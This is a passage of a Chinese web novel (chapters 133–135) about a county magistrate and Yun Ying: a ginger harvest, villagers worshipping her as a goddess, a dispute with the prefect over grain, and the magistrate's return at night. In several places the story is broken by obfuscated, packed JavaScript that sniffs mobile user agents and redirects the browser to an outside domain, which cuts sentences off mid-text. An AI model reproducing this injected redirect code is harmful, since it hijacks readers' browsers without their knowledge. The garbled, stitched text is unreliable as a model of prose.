“你忘了么?之前有些人,是紧跟在你身后造的梯田。造的最早的那批人,今年也有了收获。至于造的晚的……”造的晚的那批人,看到别人有了收成,心中暗悔不已。这几日就又买了荒山去,准备趁着年前这段闲暇,将荒山开辟成梯田,好来年多收一些,把今年少于别人的那部分补上。 不说梯田,只说生姜——这是灾后补种到庄稼地里的。 当初想着已经到了十月份,再往地里种稻谷也来不及,可若是让地就那么空着,也太可惜。 二爷正筹谋着种些什么好的时候,云莺拿出一本书,提议可以种生姜试试。 云归县的温度相对高一些,在这里,生姜的生长时间会大大缩小。十月种下,到了第二年二月指定会有收成。 到时候收了生姜还不影响种早稻,倒是个一举两得的办法。 更好的是,生姜自来就有商人高价收购,真若是丰收了,指不定百姓还能大赚一笔。 而他方才去县衙,随云来寻他,就为告诉他,从外地来了两个专门收生姜的客商。 听说是因为今年暖冬的缘故,早前囤的那部分用来做妇人姜红糖的生姜,过不了年就会全部溃烂。他们有大量缺额,听说云归县补种了好些生姜,就有意给个好价,好提前预定下这批生姜。 事情他交给了随云去处理,随云也带着那些客商,去寻种植生姜的百姓。 这生意,不出意外是能谈成的。 如此,云莺可不就为百姓创收了? 这完全是意外之喜,不仅云莺听了兴奋,就连二爷,都控制不住的露出笑模样来。 两人想想今年的年景,原本以为很坏的,却没想到,竟然只是比往年差一些。 这可算的上是意外之喜了。 感觉高兴的两人,当即对桌喝起小酒来。 主要是二爷在喝,云莺以茶代酒,边喝边听二爷说话。 不知不觉, 月上中天。 云莺感觉到冷意,不由搓了搓手指,二爷见状,赶紧让丫鬟给她拿披风来。 云莺披上披风,仍旧没感觉暖和。再抬头看看天上的月亮,不知何时已经躲到了云层里,此刻天黑漆漆的,只余下几颗星子无精打采的闪烁着。 云莺说,“二爷,天不早了,回房歇息吧。” 正这么说着,一更的梆子敲响了。 外白传来打更人浑厚老迈的声音——“天干物燥,小心火烛。” 声音一声接一声传来,又伴随着铜锣声渐渐远去。 云莺实在忍不住了,捂着嘴轻轻的打了个哈欠。 二爷见她眼角溢出了生理性的泪珠,伸出手将那泪珠抹去。 云莺没有动,任由二爷施为。 二爷抹去那颗泪珠后,就站起了身。 “确实不早了,该休息了。” 见云莺还坐在凳子上,二爷伸手将她拉了出来。 二爷的手掌热的厉害,可能是因为喝了烈酒的缘故,也可能是男人的火力天生就比女人更高一些。 反观云莺,她的手沁凉,又绵软,就如同一块冷玉,握起来舒适非常,让人爱不释手。 二爷也确实没有松开她。 他只是蹙着眉头问,“怎么这么凉?是天太冷了么?下次不让你陪我熬夜了。” 云莺含糊不清的说,“也可能是我体质虚,身子没养回来。” “曲大夫给你开的养身子的药,你有按时吃么?” 云莺点点头,“吃了啊,早晚各一碗,我都喝了一个月了。” “那怎么还这样?难道是药没效果?不如我请了别的大夫来,重新给你开方?” “还是不要了。曲大夫不是说过了,我的身体在胎里亏损的厉害,本就不是一两日能养回来的。少则三五年,多则七八年,那都是说不准的事情。如今才多久,满打满算一个月而已,没效果也是正常的。我都不心急,您也不要太急切了。” 二爷勉为其难应了一声,“好。” 第133章 狂热 喝完酒后的第二天,二爷收到了章知府让差役送来的公函,当即让云莺给他收拾了两身换洗衣裳,随即就带着随雨与雷霆两人去了府城。 二爷走之前只来得及告诉云莺,说快则五六日就回,若慢,十日内也必回,让云莺不用担心。 云莺面上应的很好,可等送走二爷,心下却不免忧虑。 章知府这个时候召唤二爷,还召唤的这么急,怎么看也不是小事儿。 心里忧虑万千,云莺面上却不敢表现出来。 二爷一走,还带走了随雨与雷霆,随云与墨雪还在屋头山支应着矿山那一摊子事儿。也就是说,整个县衙后宅只留下云莺一个人。 她现在就是众人的主心骨,若她乱了,后院必定出乱子。 云莺强迫自己稳住了,每天有条不紊的处理事情。 期间她还去看望了秋宁一趟,又往慈幼局去了两天。 从慈幼局回来后,云莺见到了齐家大夫人身边的妈妈。她奉齐家大夫人之命,特来邀请云莺赴齐家姑娘的及笄礼。 齐家就是承了二爷情,将买卖做到西北的人家。 他们家这一年算是有了起来的势头,卖出去的海参、鲍鱼等上等干货,也有人主动找上门来。如今算是把名声打了出去,生意日渐兴隆。 这一切得益于二爷的不计较,也得益于二爷给出的门路,齐家对二爷很是感恩。 齐家也算是知恩图报的人家,得了二爷的恩惠,便积极配合二爷的指令。 飓风时,二爷号召富户腾出房屋安置穷苦百姓,齐家积极响应。不仅把自家的房屋等,能腾挪出来的全部腾挪出来,甚至还将家中的库房也尽可能挪出来一个,很是给二爷帮了大忙。 再有,飓风过后百姓受灾严重,齐家也捐献了好多粮食和药材。 且在城外流民过多,二爷和衙门中的差役忙着村镇的事宜时,齐家特意抽出自家铺子上的伙计,帮忙维持城门口的秩序。 这人家还算不错,虽功利了些,但商人都重利。齐家在重利之位还有一层仁义,云莺对他们家的整体印象不错。 如今看到齐家人送来的帖子,云莺想了想,到底是没有应下。 外人都当她是二爷的妾室,可实际上,她只是个管事姑姑。不管是管事姑姑,还是妾室,要被人家当成贵人一样尊着敬着,云莺感觉尴尬。 再有,云莺本身也不是爱应酬的性子,她也不是那长袖善舞的人。去了宴席还要绞尽脑汁回应别人的奉承谄媚,想想不够头疼的。 如此,云莺到底是回绝了齐家人的邀请。但她回了一根玉钗,并一匹适合闺阁少女用的桃粉色绸缎,交由来人带回去,只当是送给齐家姑娘的及笄礼。 送走齐家大夫人身边的妈妈,穗儿就和云莺说,“您给的礼厚了。” 云莺说,“厚就厚了吧,二爷还在任上,我给齐家两分颜面,齐家知道感恩,日后多配合些,二爷能少许多麻烦。” 穗儿颔首,“您说得对。” 应付完齐家,时间也过去五天了。 云莺没等来二爷,也懒得再出门,便继续去二爷书房读书。 期间穗儿和云莺请了两天假,说是过几天是她娘的寿辰,她想回家给娘祝寿。 云莺闻言,一口应下。 她还说,“之前我就答应过你,说等飓风过去后,让你回去看看家里如何。结果还没等你回去,你家里倒是先给你捎了信来。你那时候没回去,这次我给你放五天假,你回去给你娘做个寿,顺便在家里留几天敬个孝。” 穗儿连声道谢,并称,“不用了姑娘,我两天,不,三天就够了,我三天就回来。” “就五天吧。柳儿,再去我的首饰匣子里,选一支银钗过来,只当是我给穗儿母亲的寿礼。” 穗儿忙摆手,“这哪儿使得?姑娘我不要。” 柳儿已经火速拿了银钗来,递到云莺手上。云莺直接将银钗塞到穗儿手里,“这不是给你的,是给你母亲的。不过你母亲也是沾了你的光,是你这丫头伺候的好,我才给的,换做其他人,我还不舍得呢。” 穗儿犹犹豫豫,柳儿就在旁边作怪说,“你再不收,我可收了。这钗姑娘现在不用了,我原本想着姑娘不定何时就赏了我,谁知道最后却赏了你。穗儿你再不往外推,我就真拿走了。” 穗儿赶紧将银钗藏到怀中,云莺见状,一边笑穗儿,一边笑柳儿。 她说两个,“好好伺候,等今年过年,赏你们两人一人一支银钗。” 柳儿欢快的应下,“唉,那我就静等着姑娘的赏了。” 穗儿回了家,又很快回来,手里还提着一大包给云莺的东西。 从离开到回来,满打满算也就三天时间。 云莺见状就笑了,“还真是个死心眼的丫头,我都说了给你五天假,你硬是三天就回来。” “姑娘让我休息五天,是姑娘宽厚,我却不能那么不懂事,真个在家留五天。即便我想留,我娘他们也不愿意,从昨天起他们就撵我呢。” 穗儿一边笑,一边将手中的包裹推到云莺面前去。 “姑娘给我娘一根银钗,可把我娘吓坏了。她还说,她 就是个地里刨食儿的妇人,哪里当得起姑娘的厚赐?还是我好说歹说,我娘才收下了。不过收下后却接二连三提醒我,回来后一定替她给您磕两个头。” 穗儿说着,还真噗通跪在地上,砰砰砰磕了三个头。 那声音响的,听得人头皮发麻。 云莺都吓住了,赶紧起身拉扯穗儿,“让你磕你还真磕了?你这丫头,你也太死心眼了。你看这头磕的,都青了。” 柳儿也说,“我看着就疼,斯哈,斯哈……” 穗儿傻笑几声,“不疼,我皮厚。若不是姑娘不在跟前,我娘高低得给您磕几个头。” 说过这些,穗儿又将包裹打开,“我娘没别的本事,就是鞋子做的好。我娘纳的鞋底软硬适中,还舒适轻便。在西王母娘娘村,我娘纳的鞋子是出了名的。姑娘,这是我娘给您做的鞋,鞋面就是我捡的您衣裳上的碎布头。不过这鞋子倒是和您的衣裳搭配,您试试看,合不合脚。” 云莺和柳儿瞠目结舌的看着面前一大包袱鞋。 红的、绿色、黄的、蓝的,确实每块鞋面上的布料,云莺都有与之配套的衣服。 想当初穗儿问她讨要碎布头,云莺还以为穗儿是想做帕子或小衣。 当初她也是想着,她穿的都是上等丝绸,这些碎布头丢了可惜。穗儿想要就给她好了,还能废物利用。 当初因为这事儿,还惹来给她做衣裳的小丫鬟很大的不满。 但穗儿毕竟是贴身伺候自己的,再加上往常那些碎布头,小丫鬟也都自己收拾起来了。如今穗儿想要,那自然要给穗儿。 云莺又哪里能想到,穗儿问她要碎布头,是受了她娘的支使,是要拿这些碎布头给她做鞋面,做鞋子。 看着眼前这一大包袱绣鞋,这足够她穿几年了。 这么多鞋,得熬多少夜,得费多少功夫才能做成。 云莺拿起鞋子,看了看鞋子精致的做工,还有仔细的一针一线,似乎就看见了穗儿娘点着平日里不舍得点的煤油灯,一针一针的纳鞋底,又一下一下仔仔细细的将鞋子做好的场景。 云莺感慨万千,顿时觉得自己只给穗儿娘一根银簪子做寿礼,那寿礼太轻了。 云莺心中百感交集,然而,还没等她再说出什么,穗儿又开口道:“不仅我娘给您做了鞋子,村里还有些婶子伯娘,一道出钱买了布料,说是要给您做衣裳。” 云莺一顿。 这话怎么听着有些不对劲? 云莺一激灵,开口问,“他们不会是想把我当那个什么,孝敬吧?” 穗儿闷笑着点头,“应该是的姑娘。” 云莺又看看眼前的鞋,“所以说,你娘给我做鞋,到底是想送给我,还是想敬给那位娘娘?” 穗儿头摇的拨浪鼓一般,“这我可不清楚。” 云莺一瞪眼,“你不清楚才有鬼。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14695000|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 真相了! 原来穗儿娘之所以给她做这么多鞋子,是要敬奉给西王母娘娘的。她不过是沾了西王母娘娘的光,才有这一包袱鞋穿。 云莺哭笑不得,突然就不想穿这些鞋子了呢。 穗儿见云莺颓丧个脸,知道自家姑娘心结所在,就赶紧出言安慰说,“村里人如何想我不知道,但我娘给您做鞋子,一部分原因是把您当那位的化身了,一部分原因却是因为,您待我好,我娘感恩您,所以才点灯熬油,给您做鞋子穿。” “姑娘,您别嫌弃,也别忌讳。您就看在这鞋子合脚又好看的份儿上,穿了吧。” 云莺看看脚上试穿的鞋子,确实蛮舒服的。而且因为做鞋子的人手上功夫厉害,这鞋子不仅穿着舒服,看起来还显得脚特别秀气玲珑。 说实话,云莺还挺喜欢的。 又有穗儿在旁边敲边鼓,云莺到底是将鞋子收下了。 看着自家姑娘点了头,穗儿心里很是松了一口气。 她这一段时间没回去,也就不知道村里因为姑娘是西王母娘娘下凡这事儿,闹腾了多少事儿。 当初村里人信奉姑娘,纯粹是因为姑娘的神态与身形,与西王母娘娘村的那尊神像有几分相似。 可之后村里人带姑娘走小路去了屋头山,去看姑娘买的那座茶山。 当时茶山被人蓄意放火,烧了快半座山,眼看着大火将成燎原之势,就要引来更大的灾殃了,结果就在这时候,倾盆暴雨说下就下。 这事情够神异了吧? 这事情被带路的大叔传回村里,村里人都疯了。愈发信奉他们那边就是西王母娘娘的到场,姑娘就是西王母娘娘下凡!不然,怎么会那么巧,在最紧要关头,来了那么一场及时雨。 这也就是当时他们没回村,而是跟着二爷在屋头山的村口等着马车来接,不然但凡他们回村里,指不定就要被狂热的婶子大娘淹没,就出不来了。 这还不算,又过了几天,那几座茶山上又被勘测出,里边蕴藏了储量丰富的“铜矿”。 想想吧,世世代代居住在屋头山的百姓没发现其中秘密,常顺将五座山改造成茶山也没发现那个秘密,反倒是茶山到了姑娘手中,那铜矿就被勘探出来了。 村里人能不震惊么?能不狂热么? 他们听到这个消息的当晚,就将香火和供奉一路从西王母娘娘庙摆到了村口处。 若不是这边动静太大,把驻扎在屋头山的一部分差役吸引来了,有了差役坐镇和训话,他们不敢胡闹。不然,他们怎么也得来县衙一趟,请自家姑娘回去庙里的佛龛上坐一坐。 之后飓风来临,村里的百姓担心神庙和神像受飓风祸害,就连夜将神像搬到了深山的山洞里。 当时阖村的人都围在娘娘的神像前,也不知道是不是有娘娘镇着,大家心里安稳。这一场飓风下来,村里没有一个百姓死在飓风中,更没有一个百姓得伤寒烧热。 这放在往年,是根本不可能发生的事情。 大家将这功劳,再次归咎到娘娘保佑上。 也就是灾后次生灾害多,大家轻易不敢出门。又要忙着排地里的积水、修缮房屋,忙着修路挣钱和收割庄稼——再说一件事,就是“铜矿”招工的时候,不知道是她们村里的青壮当真身体素质好,还是有人交代下什么,反正几乎他们一个村的男人,上到五十,下到十五,去报名应聘的时候,只要没有太明显毛病的,都被收进去了。 就连他们村的一些婶子大娘,都被招进去做大锅饭了! 如果这还不算是娘娘庇佑!! 如今村里的娘娘庙里,灯火长明。 也就是大家实在太忙了,县衙外的差役又特别凶,不然你就看看如今跪在县衙门口的人该有多少。 可虽然大家都没法将云莺偷出来供在庙里,他们却也尽他们自己的能力,给云莺做鞋、做衣,还有给云莺做架子床,做车马轿子的。 这份“深情厚谊”啊,说实话,她都不敢说出来告诉姑娘,怕姑娘晚上会做噩梦! 第134章 奖励 二爷不在的日子,时间对云莺来说特别漫长。 她熬了五天,熬了八天,很快又熬到第十天。 即便到了第十天,二爷依旧没有回来。 云莺这几天食量越来越小,今天晚上尤甚。她碗里的米饭不过动了两筷子,菜肴更是只吃了几口。 屋外寒风呼啸,屋内暖意融融,桌上的饭菜色香味儿俱全,丝丝缕缕勾人馋意,可即便如此,也无法让云莺多看几眼。 云莺到底是放下筷子,站起身来。 穗儿和柳儿见状,俱都忧心匆匆。 穗儿说,“姑娘,您再用些饭食吧。您这几天吃的少,人都瘦了,二爷看见,怕是要心疼了。” 云莺嘴上没说,心里却腹诽:他才不心疼,若心疼,他早该回了。说了最晚十日就回,今天就是第十天,你看他人在哪儿? 穗儿似看出了云莺的心思,就结结巴巴道:“二爷指定是有要事耽搁了,姑娘您别担心,等二爷忙完那些事儿,指定立马就回来。” 云莺轻呼了一口气,没有说什么。 她感觉自己心躁的厉害,她不欲将自己的坏心情发泄在丫鬟们身上,便只能走远些。 屋外又刮来一阵凉风,寒风打着呼哨,从院子里席卷而过。 原以为今年是个暖冬,熟料天气说变就变。这才几天功夫,早先的褙子都穿不住了,早晚出门得要穿上夹袄。 云莺站在窗前,看着外边的院子。 寒风吹落了树上的叶子,叶子在冷风的吹拂下盘旋飞起。 这么冷的天,二爷此时若正在赶路,怕是要冻坏了。 虽说她想尽快见到二爷,但是云莺一想到二爷冒着严寒赶路,突然又不想二爷那么快回来。 这一晚上,云莺都心不在焉。 她心不在焉的梳洗,又心不在焉的脱了衣服躺在床上。 穗儿和柳儿知道她这几天休息不好,就想留下来陪她。云莺却不想丫鬟们睡在脚踏上,那不舒服又寒凉,别再把她们冻坏了。 云莺就说,“你们回去睡吧,房间里留了人,我反倒睡不好。你们就住在隔壁厢房里,我若真有事儿,喊你们一声你们也就听见了。” 穗儿和柳儿对视一眼,到底是应了下来。 两个丫鬟放下了帐幔,吹灭了屋里的蜡烛,关上门走了出去。 两个丫鬟离开了,屋内彻底的安静下来。 黑漆漆的拔步床内,只有云莺自己的呼吸声,如此寂静又空洞。 云莺躺在床上,努力酝酿睡意,可躺了不知道多久,她也没有成功将自己哄睡。 越是睡不着,她越是焦躁,最后懊恼的坐起身,就这般拢着膝盖想事情。 具体想了什么,云莺自己也不清楚。 可能在想二爷现在忙碌的事情,亦或是想二爷在寒风中策马狂奔……想来想去,她脑子越来越清明,干脆披了件衣裳起身,又将屋里的蜡烛重新点亮,自己坐在桌旁拿了本闲书细细翻。 就这般不知看了多久的书,隔壁厢房中甚至传来穗儿和柳儿轻微的呼噜声,云莺终于酝酿出睡意,准备吹了蜡烛回去休息了。 也就是此刻,她敏锐的注意到,门前似有些动静。 那动静不是虫鼠的刺挠声,不是风吹来的砂石的拍门声,那是人类清浅的呼吸声。 忽而轻快,忽而浊重,她的门前有个人! 深更半夜,云莺被自己的猜想吓到汗毛倒竖! 可随即,她又想到一个可能,忙不迭走上前几步,一把将两扇房门都拉开。 今夜风大,月亮却也不小。明晃晃的月亮照耀下,二爷面色疲惫、胡子拉碴,一身风霜,神色犹疑的站在云莺门前。 他似是想敲门,但又想到她的呼吸那般清浅,趴在桌前的身影许久都没动一下,指不定已经睡着了。他若是敲了门,指定会惊醒她。 可若是不敲,她就那般披着衣裳坐在桌旁,怕是会感染风寒…… 心里万千想法,那些都是哄人的。 真正的原因是两人分别的时间太长,他想她想的心脏发疼,如今距离这么近却不能见,他觉得自己窒息的要发疯。 也就在二爷伸出了罪恶之手,摸上了她的门扉时,二爷又敏锐的听见了她起身的动作。她轻巧的脚步声急匆匆朝门边而来,伴随着“咯吱”一声轻响,一室温馨喷涌而出,她柔美的容颜顿时出现在眼前。 二爷没有停顿,他径直往前走两步,在云莺惊喜的“你回来”声中,一把将她抱进了怀里。 他狠狠的揉了两把,像是要把她揉进自己骨血里一般。他声音嘶哑,冰冷的面颊不住的蹭着她温软的皮肤,“我回来了。” 此时此刻,云莺心里所有的话,全都吞咽进肚子里。 身上紧紧的束缚感,以及那扑面而来的冰冷的气息,还有耳畔“噗通”“噗通”过于剧烈的心跳声,无一不在告诉她,确实是二爷回来了。 是二爷回来了! 云莺欢喜的面上绽放出笑容来,那么明媚绚烂,娇艳夺目。 她用了一点力,将二爷推开,她一把攥住二爷的手,将他往屋里拉。 “外边太冷了,你先进来说话。” 二爷面色疲惫,深深的看着她,他的动作却很乖顺,很轻易就被她拉进了房间中。 房门还没来得及关上,隔壁房门就被匆匆拉开了。 穗儿和柳儿一道露了脸,两个丫鬟惊魂甫定,待看见出现在院子中的男子是二爷后,两人丫鬟面上陡然泛出喜色来。 “原来是二爷回来了。” 两个丫鬟忙不迭见礼,云莺让她们起来,就说,“要劳烦你们俩去一趟灶房,给二爷拿些吃的过来。” 话落音云莺侧首去看二爷,“您没用晚膳吧?” 二爷哑着声音说,“没有。” 他的手紧攥着云莺柔软无骨的手掌,面上泛着若有似无的笑意。 云莺不知道二爷在笑什么,她也无暇去询问,她又交代穗儿两人,“给二爷拿些好克化的来,另让人往随雨和雷霆那边也送些过去。忙完这些再烧些热水放在浴桶中,稍后让二爷沐浴。” “唉。” “奴婢们这就去办。” “辛苦你们了,等天亮了我再给你们看赏。” “哪里就要姑娘赏了?” “这本就是我们应当应分的。” 两个丫鬟匆匆离去了,院子里只剩下云莺和二爷两个人。 云莺围着二爷忙碌开了,先是将他的披风解下来搭在椅子上,随即领二爷去她房间的净室里清洗手脸。 她净室中的架子上是放了一盆清水的,本是她晚上起夜后用来洗手用的。如今这水还干净着,又因为屋里暖和,水也不冷。 云莺一边伺候着二爷清洗手脸,一边念叨着,“您怎么去了这么长时间?我还以为您会早些回来,谁知道硬是挨到现在你才归。你这是赶了几天的路?若是不能及时回晚上几日也无妨,你作甚赶夜路?” 二爷一边清洗面容,一边不时的回应云莺两句,“有点事儿耽搁了……怕你着急,就连夜赶路回来了……也还好,就今天冷一些,前两天还凑合。” 洗完了手脸,二爷抹一把脸上的水渍,“你的帕子呢,给我用一下。” 二爷这一句话,陡然将云莺拉回现实中。 她刚才那些行为举止,就跟在做梦似的。若不是做梦,她如何会在衣衫不整的情况下,将一个男人拉来自己的净室? 划重点,她衣衫不整!她的净室! 衣衫不整就不说了,多亏她是个现代人的芯子,不然指定要羞死! 至于净室,这和架子床差不多,都是很私密的地方,甚至更为私密一些。因为净室往往涉及到沐浴更衣,甚至别的一些更为羞耻些的东西,进入其中,总控制不了想入非非。 她很忌讳别人用她的净室的好不好! 但二爷用了,她倒是不膈应,她就是有些麻! 云莺想,二爷指定给她下降头了,不然也不至于,她每次遇见二爷,都像是没头脑似的,作出一系列违反她性格的事情。 要么就是二爷给他下降头了,要么就是二爷会什么奇怪的妖术。 心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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二爷听到“硬汉”两个字,忍不住抽了抽嘴角。不管硬汉还是软汉,回头他得将胡子剃了。不然看起来凭白长了好几岁,与云莺站在一起像父女…… 云莺是不知道二爷的心思,若是知道了,怕不得将手里的毛巾直接丢到二爷脸上去。 这人什么癖好,还想给人当长辈,他想得美。 两人在桌前坐下,云莺将方才看的闲书收起来。 总共也没翻几页,这么片刻工夫,她也把那书上的东 西忘得差不多了。 云莺将茶壶提起来,给二爷倒了一杯温水,这便问起二爷:章知府这么火急火燎的叫他过去干什么?还一去就是这么多天,是出了什么大事儿了? 二爷闻言,倒是没瞒着云莺,把事情都给云莺说了。 原来,二爷这次跑过去,纯粹是被章知府算计了。 章知府来函说,有要事相商。二爷以为是金矿的事情有什么变动,就直接过去了。 熟料,等到了府城,才发现,还有许多别的县的县令在。 二爷看见那些人的时候,就觉得不对。 可惜那个时候再想回转,也来不及了。 之后果然证明,二爷的直觉是对的。 他被章知府架起来了! 那些县令治下的百姓饿的都开始吃草根树皮了,没办法,只能求上府城,希望章知府多少再拨一些救济粮。 可惜,章知府不是一人的大家长,他是岭南府所有县令的大家长。整个岭南府都遭了灾,有些县城的情况比之更严重。章知府帮衬对方都来不及,帮衬这个明明还有余力的,他就不太乐意。 可若是不帮,对方三番四次求上门,甚至恨不能直接在他门外打地铺……章知府属实是没办法,这不就想到了陈宴洲。 二爷所在的云归县,受灾虽严重,但因为二爷自己荷包鼓,他又着实是个能干的,是以,百姓虽受了灾,恢复的却也快。 尤其他还听人说,云归县这一季的庄稼整体收成不错,云归县已经缓过了劲儿。 在其余诸多县城,还在饿死人时,云归县已经有了余力去帮扶别人。也难怪章知府受了别人的蛊惑,把坏主意打到了云归县身上。 章知府是想让二爷开口借粮的,可惜二爷自家人知道自家事儿。 他那一摊子,如今也将有好转的势头,借粮是断然不可能借粮的,他自家治下的百姓粮食都不够吃呢。 第135章 元旦快乐!! 云莺问:“你不答应借粮,章知府能放过你?其余别的县的那些县令,能让你回来?” 二爷一摊手,那自然是不能的。 也正因为他咬的太死了,才耽搁了这么长时间。 不过他治下的情况,确实别的县城要好许多。加之如今旷工已经选拔妥当,金矿已经开挖,县衙很快又要有大笔的进账—— 对比别的县经过大灾,如今还在生死存亡的线上挣扎,云归县却眼看要步入小康了,这换做谁也看不过眼不是? 其余那些县令也眼红的厉害,所以铆足了劲儿要从云归县上撕下一口肉来。 又有章知府端坐高台上只看不说话,二爷为脱身,更是为了县里后续的发展,到底是应下了一些事情。 二爷与云莺说起他的考量,“人走到绝路上,什么事情都干的出来。” 真到了穷途末路,拦路打劫都是轻的,杀人越货也不是不可能。 而那些县距离云归县都太近了,犯了案往那边一钻,届时人都找不出来。 这样的事情如果多了,就会彻底引爆人们心中的侥幸与戾气。到那时,怕是县城都陷入风声鹤唳之中,别说生产了,百姓们每天保命都来不及,谁还造梯田修路挣钱? 二爷说,“我与他们商议,借粮是不可能借的,毕竟县里情况只是略有好转,百姓家中还没到盈余的地步。不过,这段时日县里开始往下修路,需要大量青壮,若他们县里有多余人手,可一道过来做苦力。” 云莺闻言,忍不住频频点头,深感二爷这办法好。 虽说人生在世,不与小人争高下,只余君子争长短。但一次妥协兴许换来的不是息事宁人,而是对方的步步紧逼。如此一来,就不如不给粮食,反倒给出一个挣粮食的办法来。 云莺说,“这样最好不过……兴许咱们还可以趁机将那些青壮都吸纳过来。” 二爷闻言,忍俊不禁的看她一眼。云莺讪讪,她这办法虽然损了些,但还不是别的那些县令先做了初一,她才给了十五。 当然,这办法是挺不君子的,二爷若不赞同他也理解。 却熟料,二爷笑过之后直接说,“我觉得此法可行。” 两人对视一眼,继而都笑了。 这么一会儿功夫,穗儿和柳儿就将灶上早就准备好的膳食拿过来了。 有鸡汤面、鲜虾云吞,另外就是三五道佐面的小菜。 云莺见还有她的份儿,不免看了穗儿一眼。穗儿就解释说,“您这今天都没好好用膳,晚上更是只吃了两口。” 云莺察觉到二爷在看她,赶紧让穗儿住了嘴。 等两个丫鬟都下去了,二爷与云莺在桌边落了座,二爷才说,“下次我若初远门,把你带上可好?” “为什么?” 二爷轻笑,“我怕留你自己在府里,你食不下咽,夜不能寐,再消瘦的不成人形。” 云莺想起穗儿说她瘦了的话,忍不住摸摸脸。很快她又意识到自己做了什么,赶紧又将手收回来,“我才不会。” “真不会么?我不过走了十天而已,你就瘦了不少。” “没有瘦,是您眼花了。” “云莺,我还不老,没到眼花的地步。” 两人拌着嘴,甜蜜蜜的将这顿迟来的晚饭用了。 期间说起开矿的事儿,二爷语气淡淡。云莺敏锐的注意到什么,再联想到二爷陡然被章知府喊过去,是听人说云归县这边晚稻收成不错…… 要知道,今年的收成可还没报上去,那章知府这个听说,时听谁说? 云莺脑子一动,“你被喊去府城,是不是那个谁,在中间搞事儿?” 二爷轻笑,“哪个谁?” “哎呀,就是那个,矿监。对,就是他。肯定是他在中间搞事对不对?他叫什么名字来着?” “张梅龄,他叫张梅龄。是他在中间掺和了一手没错。” 云莺气呼呼,“这人怎么这样啊。您都没针对他,他反倒暗地里给您使绊子,这人可真够讨厌的。” “是挺讨厌的,不过我也回敬他了。” 云莺这下是真的好奇了。 二爷才回来,就已经回敬张梅龄了? 二爷说,“尚在府城时,我就写信给随云,让他给张梅龄找些事情做。” 他就是太闲了,不然不能找事儿找到他身上。 二爷他尚且没有因为对方恩师的做法,牵罪到他身上。张梅龄倒好,难道是以为他被贬谪,就好欺辱,上赶着给他找不自在? 那二爷可得好好教他做人。 二爷让随云把张梅龄摁死在矿洞里。 不是说要他的命,是说加重他的劳动力度。他不是矿监么,矿监那能一直在外边干看着?也得进矿洞看看那些矿石适合开采,开采时候又有那些注意事项……总归不分白天黑夜,只管把人摁死在矿洞就好。累的很了,他也就没那么多心思去算计人了。 二爷简单把他的意思一说,云莺闻言,登时露出个心有余悸的表情。 矿洞里漆黑杂乱,正常人常年深处那样的环境,心态都得崩。更何况张梅龄还是世家子出身,之前一直养尊处优,他还得整天和些 五大三粗、大字不是几个的粗人为伍,想想他之后的日子,云莺忍不住哆嗦了一下。 “怎么,你还可怜上他了?” 云莺狂摇头,“那不可能,他有此下场,都是他作的。我才不可怜他,我就是觉得这人挺没脑子的。”他都到二爷地盘上了,老老实实的缩着不行么?难道是想挠一爪子,试探试探二爷对他到底是什么态度?那他这一爪子引来的后果可要自负了。 不说张梅龄,只说饭毕后,二爷又提及了金矿的挖掘事宜。 岭南府今年遭灾严重,每个地方都需要银钱。偏岭南府本就穷困,官府中也挖不出二两银子来。 又有此番诸多县令请罪拨发赈灾粮,知府大人对各县的情况掌握的更加详实,如此,急的上火,夜不能寐。 章知府来前找过他几趟,让他务必在年前往府城多送几趟矿物。 他等着这些金子救急,上边也等着用这些金子拿政绩,可以说,这批金矿关系重大,不容出错。 二爷与云莺说这件事的目的,就是想说,“我从明日起就去屋头山坐镇,初步估计,要等第一批金矿被挖掘出来,再回县城。你若有事儿,可自行过去寻我,亦或是让人捎信给我。” 云莺点头,说了句“好”,眸中却都是心疼的神色:二爷可刚跑了一趟府城回来,一天都没休息呢! 稍后两人又说了些有的没的,二爷便准备回去休息了。 这时候已经二更天了,都睡不了多长时间,又得起身。 云莺知道轻重,让二爷赶紧回房沐浴更衣。 二爷与她作别,两人走到恶劣走廊上。可待要分别时,二爷却直勾勾的看着她,腿瘸迈不开。 云莺也沉默了一会儿,片刻后轻轻的开口说,“您先去洗澡,稍后我给您绞发,帮您刮胡子?” 二爷轻轻的笑了,“你会么?” “不会可以学啊,应该不会太难吧。” “不难,我教你。” 二爷到底回房间沐浴去了,云莺在他之后进了他的房间。 二爷的房间之前云莺就来过一次,还是飓风走后,她才开始频繁出入二爷的房间。 许是帮二爷收拾房间,许是拿取和放回他的衣物。她来的勤快了,对二爷房间的东西都在那里放置着,也就清楚了。 云莺很顺利的找到二爷刮胡子专用的剃刀。这剃刀非常锐利,手柄上海雕刻着复杂的花纹,看起来古朴锐利。应该也是时常被人拿在手中把玩的缘故,剃刀上还泛着一股润泽的广度,非常小巧精美。 云莺坐在小杌子上,静静地看着手中的剃刀,不知不觉,她便只顾听那房间中的撩水声了,反倒将手中的剃刀忘到了九霄云外。 水声清脆,一开始只是轻微的撩水声,不知何时,哗声大响,有人陡然从浴桶中站了起来。 云莺的面颊控制不住的热了起来,她忍不住侧过头去,又赶紧起身走到了背影的窗户跟前。 窗户紧闭着,但窗户缝中有狂风刮进来。丝丝缕缕,缓缓的将她脸上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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不知是她的动静太大,亦或是二爷睡觉本就惊醒,再不就是二爷根本就没睡踏实,在云莺这个动作 做出来时,她毫无疑问被二爷攥住了手掌。 二爷眼神清明,不见一丝一毫的睡意。 他没说话,只这么攥着云莺的手腕,云莺挣了挣,没挣开,她就笑了,二爷指定睡迷糊了。 “二爷,是我啊。” 